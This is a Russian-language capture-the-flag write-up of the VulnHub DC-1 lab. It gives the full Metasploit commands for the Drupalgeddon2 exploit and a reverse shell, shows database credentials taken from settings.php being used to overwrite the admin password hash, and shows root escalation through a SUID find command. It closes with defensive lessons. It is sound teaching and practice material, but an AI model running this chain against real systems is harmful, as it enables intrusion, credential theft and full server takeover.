
VulnHub DC-1 boot-to-root — эксплуатация CVE-2018-7600 (Drupalgeddon2) для RCE, извлечение учётных данных БД из settings.php, подделка хэша пароля администратора и повышение привилегий до root через SUID find.
"Заметки по лабораторным работам по пентесту, документирующие полные цепочки атак — от разведки до root."
Сложность: Начальный–Средний
Платформа: VulnHub
Цель: Получить все 4 флага и добиться полной компрометации с правами root
ОС атакующего: Kali Linux (VirtualBox — NAT Network)
ОС цели: Debian Linux (CMS Drupal 7)
| Компонент | Детали |
|---|---|
| Гипервизор | VirtualBox |
Обе виртуальные машины были настроены в одной NAT Network в VirtualBox, чтобы обеспечить взаимодействие между ВМ, сохраняя при этом изолированную лабораторную среду.
Использовал arp-scan для определения всех активных хостов в локальной подсети:
sudo arp-scan -l
Результат: Цель обнаружена по адресу 10.0.2.3
Запустил полное сканирование Nmap с определением версий и стандартными скриптами:
sudo nmap -sV -sC 10.0.2.3
Ключевые находки:
| Порт | Служба | Версия |
|---|---|---|
| 22/tcp | SSH | OpenSSH 6.0p1 |
| 80/tcp | HTTP | Apache 2.2.22 |
| 111/tcp | rpcbind | — |
🔑 Критично: Nmap явно идентифицировал веб-приложение как Drupal 7 через HTTP-заголовки генератора — что подтверждает известную уязвимую версию CMS.
Drupal 7 подвержен критической уязвимости удалённого выполнения кода (RCE) в своём Form API. Неаутентифицированный атакующий может отправить специально сформированный HTTP-запрос, который серверная часть выполнит как системную команду — без какой-либо аутентификации.
Запущен Metasploit Framework:
msfconsole
search drupalgeddon
use exploit/multi/http/drupal_drupageddon2
set RHOSTS 10.0.2.3
exploit
Результат: Обратный шелл Meterpreter успешно открыт под пользователем www-data (процесс веб-сервера).
Переключился из Meterpreter в нативный шелл Linux и стабилизировал его с помощью Python PTY:
shell
python -c 'import pty; pty.spawn("/bin/bash")'
Результат: Полноценный интерактивный bash-шелл под пользователем www-data@DC-1 в каталоге /var/www
ls -la /var/www
cat flag1.txt
Содержимое флага 1:
Every good CMS needs a config file - and so do you.
💡 Подсказка: Указывает прямо на конфигурационный файл Drupal —
settings.php
Перешёл в каталог конфигурации Drupal и изучил файл настроек:
cd /var/www/sites/default
cat settings.php
Обнаружены учётные данные, встроенные в массив $databases:
| Поле | Значение |
|---|---|
| База данных | drupaldb |
| Пользователь | dbuser |
| Пароль | R0ck3t |
Содержимое флага 2 (из комментариев в файле):
Brute force and dictionary attacks aren't the only ways to gain access
(and you WILL need access). What can you do with these credentials?
💡 Подсказка: Используйте учётные данные для доступа к серверу MySQL — без какого-либо брутфорса.
mysql -u dbuser -pR0ck3t
use drupaldb;
select uid, name, pass from users;
Обнаружены хэшированные пароли для admin и fred — оба используют схему хэширования Drupal $S$ (на основе SHA-512).
Вместо взлома существующего хэша использовал встроенный PHP-скрипт Drupal для генерации нового:
cd /var/www
php scripts/password-hash.sh password123
Вывод: Действительный хэш $S$D... для пароля password123
use drupaldb;
update users set pass='$S$DUxDdAfJe08Z9viU5Tly0uUZXFThRFMpeBwz4T07HB6Rj0Fm2JTp' where name='admin';
Выполнен вход на http://10.0.2.3 под admin / password123 успешно.
Содержимое флага 3 (найдено в панели контента администратора Drupal):
Special PERMS will help FIND the passwd - but you'll need to -exec
that command to work out how to get what's in the shadow.
💡 Подсказка: Неправильная конфигурация SUID-бита у команды
find— выявлен вектор повышения привилегий.
cat /etc/passwd
Найден пользователь flag4 с домашним каталогом /home/flag4.
cat /home/flag4/flag4.txt
Содержимое флага 4:
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
findУ бинарника find был установлен SUID-бит, то есть он выполняется с привилегиями владельца файла (root) независимо от того, кто его запускает.
find . -exec /bin/sh \;
whoami
# root
cd /root
cat thefinalflag.txt
Well done!!! Hope you enjoyed DC-1!
Достигнута полная компрометация с правами root. ✅
С точки зрения атакующего:
settings.php, часто содержат пароли в открытом виде, что переводит атакующего от веб-доступа к полному контролю над базой данных.find, vim или python, — один из самых надёжных векторов повышения привилегий в средах Linux.С точки зрения защиты:
find / -perm -4000 -type f 2>/dev/null должна быть частью любого чек-листа по укреплению Linux.Этот writeup предназначен строго для образовательных целей и описывает действия, выполненные в изолированной, легальной лабораторной среде. Никогда не пытайтесь применять эти техники против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.
Выполнено Prapul | Профиль TryHackMe | GitHub
| Сетевой режим | NAT Network (обе ВМ в одной подсети) |
| Машина атакующего | Kali Linux |
| Целевая машина | DC-1 (VulnHub) |
| IP-адрес цели | 10.0.2.3 (обнаружен через arp-scan) |
| Инструмент | Назначение |
|---|
arp-scan | Обнаружение хостов в локальной подсети |
nmap | Сканирование портов и определение служб |
Metasploit Framework | Доставка эксплойта CVE-2018-7600 и обратный шелл |
MySQL CLI | Перечисление БД и манипуляция учётными данными |
PHP (password-hash.sh) | Нативная генерация хэшей Drupal |
Python PTY | Стабилизация шелла |
VirtualBox | Настройка изолированной лабораторной среды |